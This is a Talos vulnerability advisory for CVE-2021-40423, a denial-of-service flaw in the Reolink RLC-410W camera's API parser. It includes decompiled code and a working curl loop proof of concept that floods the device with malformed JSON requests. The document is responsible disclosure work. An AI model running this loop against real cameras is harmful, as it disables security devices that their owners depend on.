Talos Vulnerability Report

TALOS-2021-1432

Reolink RLC-410W cgiserver.cgi command parser denial of service vulnerability

JANUARY 26, 2022

CVE NUMBER

CVE-2021-40423

Summary

A denial of service vulnerability exists in the cgiserver.cgi API command parser functionality of reolink RLC-410W v3.0.0.136_20121102. A specially-crafted series of HTTP requests can lead to denial of service. An attacker can send an HTTP request to trigger this vulnerability.

Tested Versions

reolink RLC-410W v3.0.0.136_20121102

Product URLs

RLC-410W - https://reolink.com/us/product/rlc-410w/

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-20 - Improper Input Validation

Details

The reolink RLC-410W is a WiFi security camera. The camera includes motion detection functionalities and various methods to save the recordings.

A specially-crafted request can lead to insertion in the incoming request list, handled by the `cgiserver.cgi` binary, a request that will be removed only after 20 seconds. This can lead to a denial of service.

The `cgiserver.cgi` manages the API requests, parsing the commands and parameters provided. One way to issue commands and parameters is by providing those in a JSON array in the body. A body with commands looks like the following:

```
[
    {
        "cmd":    <COMMAND NAME 1>,
        "action": <ACTION NUMBER 1>,
        "param":{
                  <COMMAND PARAMETERS 1>
        }
    },
    ...
    {
        "cmd":    <COMMAND NAME n>,
        "action": <ACTION NUMBER n>,
        "param":{
                  <COMMAND PARAMETERS n>
        }
    },
]
```

When the `cgiserver.cgi` receives a request, it is handled at first in the `cgi_receive_thread` function:

```
undefined4 cgi_receive_thread(c_cgiserver_obj *cgi)

{
  cgi_request *pcVar1;
  int iVar2;
  time_t tVar3;
  dword req_in_number;
  pthread_mutex_t *ppVar4;
  dword request_number;
  dword req_out_number;
  dword apStack64 [4];
  cgi_request *req;

  iVar2 = FCGX_Init();
  if (iVar2 == 0) {
    request_number = 0;
    ppVar4 = &cgi->in_req_mutex;
    while( true ) {
      while( true ) {
        bc_lock(ppVar4);
        req_in_number = (cgi->in_req_node).number_of_request;
        bc_unlock(ppVar4);
        bc_lock(&cgi->out_req_mutex);
        req_out_number = (cgi->out_req_node).number_of_request;
        bc_unlock(&cgi->out_req_mutex);
        if ((int)(req_in_number + req_out_number) < 0x15) break;                    [1]
        usleep(100000);
      }
      [...]
}
```

At `[1]` it is checked if the sum of the number of incoming requests and the outgoing requests is less than or equal to 20. If this is not the case the thread executing `cgi_receive_thread` will wait until the condition at `[1]` is true before handling another incoming request.

Each element of the JSON array goes through the `body_request_to_command` function. This function will parse the element, allegedly a JSON object, to identify the command requested. The `body_request_to_command` function:

```
uint8_t body_request_to_command(cgi_request *req,cgi_cmd *cgi_cmd,Value *json_element)

{
 [...]
  cmd_json_value = (Value *)Json::Value::operator[](json_element,"cmd");           [2]
  is_cmd_string = Json::Value::isString(cmd_json_value);
  ret_val = '\0';
  if (is_cmd_string != 0) {                                                        [3]
    [... parse the command ...]
  }
  return ret_val;
}
```

At `[2]` the `"cmd"` key is accessed and checked at `[3]` to see if the value associated with the `"cmd"` key is a string. If so, the parsed commands will later be processed and, if the permissions are satisfied, the requested API executed.

In case a request takes more than a certain amount of time to be completed, the `remove_invalid_sessions_and_requests` function, at `[4]` will set its state to `timeout`:

```
void remove_invalid_sessions_and_requests(c_cgiserver_obj *cgi)

{
  [...]
  bc_lock(&cgi->in_req_mutex);
  for (pcVar4 = (cgi->in_req_node).request_node_start;
      pcVar4 != (cgi_request_node *)&(cgi->in_req_node).request_node_end;
      pcVar4 = (cgi_request_node *)std::_Rb_tree_increment((_Rb_tree_node_base *)pcVar4)) {
    req = pcVar4->cgi_request;
    if ((req != (cgi_request *)0x0) &&
       (current_time_ = cgi_tick_sec_get(),
        req->delta_for_timeout <= (uint)(current_time_ - req->creation_seconds))) {
      req->req_status = timeout;                                                   [4]
      cgi_log(1,1,"[%s,%d]",
              "/home/lgb/ipc_v1_ver/20201211/ipc_20200324_V1/product/cgiserver/src/cgi_server.cpp",
              0x3f7);
      cgi_log(0,1,"cgi req id:%d, is timeout!!!!",req->request_ID);
    }
  }
  bc_unlock(&cgi->in_req_mutex);
  return;
}
```

The default `req->delta_for_timeout` is 16 seconds. The request that has state `timeout` will be handled by replying to the sender with a reply that looks like:

```
[
    {
        "cmd" : <REQUESTED_COMMAND>,
        "code" : 1,
        "error" : {
            "detail" : "timeout",
            "rspCode" : -8
        }
    }
]
```

If the check at `[3]` fails, the request will never complete because no commands will be associated with the request. These requests will eventually reach, after `req->delta_for_timeout` seconds, the `timeout` state. It is possible to force a request to remain in the request list for the entire `req->delta_for_timeout` time. If several of these requests are sent, because of the check at `[1]`, the `cgiserver.cgi` will not be able to handle new incoming requests for a prolonged time, causing a denial of service.

For example, a request with the following body:

```
[
    {
        "cmd": 1234
    }
] Will fail the check at `[3]` with the consequences stated above.
```

Exploit Proof of Concept

The following command will send 80 requests that are all going to timeout. This will make the `cgiserver.cgi` binary unreachable for close to a minute.

```
for i in {1..80}
do
    curl -s -o /dev/null \
         --request POST  \
         --data '[null]' \
         'http://$CAMERA_IP/cgi-bin/api.cgi?cmd=Login' &
done
```

Timeline

2021-12-16 - Vendor Disclosure
2022-01-19 - Vendor Patched

2022-01-26 - Public Release

CREDIT

Discovered by Francesco Benvenuto of Cisco Talos.
